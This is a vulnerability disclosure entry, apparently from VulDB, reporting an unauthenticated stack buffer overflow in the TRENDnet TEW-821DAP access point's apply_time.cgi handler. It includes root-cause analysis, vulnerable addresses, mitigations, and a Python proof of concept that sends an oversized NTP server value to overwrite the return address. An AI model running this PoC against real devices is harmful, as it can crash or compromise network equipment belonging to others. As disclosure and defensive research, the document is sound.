| 标题 | TRENDnet TEW-821DAP Wireless Access Point v2.2.01b05 Stack-based Buffer Overflow |
|---|
| 描述 | A stack-based buffer overflow vulnerability exists in the `cgi/ssi` binary of TRENDnet TEW-821DAP Access Point firmware v2.2.01b05. The NTP and timezone configuration handler retrieves user-supplied configuration values via `uci_safe_get()` — including `system.ntp.server`, `cameo.time.time_zone`, `cameo.cameo.syslog_server`, and related parameters — and copies them into fixed-size stack buffers using `strcpy()` without bounds checking. An unauthenticated attacker can supply oversized values for these parameters, overflowing the stack buffer and overwriting the saved return address (`$ra`) to achieve arbitrary code execution with root privileges.
---
## Technical Details
### Root Cause
The vulnerable code path is:
```
HTTP POST → cgi/ssi (NTP/timezone handler) → uci_safe_get(param) → strcpy(stack_buf, user_input) → BOOM (PC=0x41414141)
```
The CGI handler processes NTP and timezone configuration requests (e.g., `apply_time.cgi`). User-controlled UCI configuration parameters are read via `uci_safe_get()` and then copied into fixed-size stack buffers using the unsafe `strcpy()` function. No length validation is performed before the copy. When an attacker supplies a parameter value longer than the stack buffer, the buffer overflows, overwriting adjacent stack memory including the saved return address.
### FirmRec / Symbolic Execution Evidence
```
0x4224DC: uci_safe_get("system.ntp.enable_server") → strcpy → PC=0x41414141 (2 hits)
0x4846AC: uci_safe_get("cameo.cameo.syslog_server") → strcpy → PC=0x41414141 (6 hits)
```
Multiple overflow points confirmed via symbolic execution with FirmRec — the program counter is reliably overwritten to `0x41414141` ("AAAA"), confirming attacker control of the execution flow.
### Affected Parameters
| Parameter (uci key) | Vulnerable Address | Sink Function |
| --------------------------- | ------------------ | ------------- |
| `system.ntp.server` | 0x4224DC | strcpy() |
| `system.ntp.enable_server` | 0x4224DC | strcpy() |
| `cameo.time.time_zone` | 0x4846AC | strcpy() |
| `cameo.cameo.syslog_server` | 0x4846AC | strcpy() |
---
## Proof of Concept
```python
#!/usr/bin/env python3
"""PoC: TEW-821DAP ssi NTP/Timezone Stack Overflow | CWE-121 | CVSS 9.8"""
import requests
import struct
TARGET = "192.168.10.1"
# MIPS32 BE: overwrite $ra with 0x41414141
PAYLOAD = b"A" * 68 + struct.pack(">I", 0x41414141)
try:
r = requests.post(f"http://{TARGET}/cgi-bin/apply_time.cgi", data={
"system.ntp.server": PAYLOAD.decode("latin-1"),
"system.ntp.enable_server": "1",
"cameo.time.time_zone": "GMT+8",
}, timeout=5)
print(f"Status: {r.status_code} (device may crash)")
except:
print("Device crashed — overflow confirmed")
```
### Expected Result
The stack buffer is overflowed with 68 bytes of padding followed by the target address `0x41414141`, which overwrites the saved return address. The device crashes or restarts when the function attempts to return. With a crafted ROP chain, arbitrary code execution can be achieved.
---
## Impact
Successful exploitation allows an unauthenticated remote attacker to:
- Corrupt the device's stack memory beyond the bounds of the fixed buffer
- Overwrite the saved return address and gain control of the instruction pointer (PC)
- Execute arbitrary code with **root privileges** on the MIPS32 BE architecture
- Deploy persistent implants, backdoors, or botnet agents on the access point
- Use the compromised device to pivot to other internal network hosts
- Cause denial of service (device crash/reboot loop)
The attack requires **no user interaction** and **no authentication**, making it exploitable over LAN or WAN when the management interface is reachable.
---
## Solution / Mitigation
### Vendor Recommendations
1. Replace all `strcpy()` calls with bounded copy functions such as `strncpy()` or `strlcpy()`, ensuring the destination buffer size is enforced
2. Validate the length of all UCI configuration parameters before copying to stack buffers
3. Enable stack canaries (`-fstack-protector-strong`) and compile with `-D_FORTIFY_SOURCE=2`
4. Enable NX/DEP (No-Execute) and ASLR if supported by the platform
5. Perform a comprehensive audit of all `uci_safe_get() → strcpy` call chains in the codebase
### User Mitigations (until patch is available)
- Restrict access to the device's web management interface via firewall rules
- Disable WAN-side administration
- Block access to `/cgi-bin/apply_time.cgi` at the network edge where possible |
|---|
| 来源 | ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TEW-821DAP_ssi_NTP_Timezone_Config_Stack_Overflow.md |
|---|
| 用户 | ST4R0002 (UID 99571) |
|---|
| 提交 | 2026-07-06 14時15分 (2 月前) |
|---|
| 管理 | 2026-08-21 20時42分 (2 months later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 394175 [TRENDnet TEW-821DAP 2.2.01b05 NTP Timezone Configuration /cgi-bin/apply_time.cgi uci_safe_get 内存损坏] |
|---|
| 积分 | 20 |
|---|